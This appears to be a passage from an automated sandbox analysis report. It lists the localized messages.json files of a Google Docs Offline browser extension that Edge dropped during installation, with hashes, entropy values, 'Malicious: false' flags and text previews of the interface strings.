SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
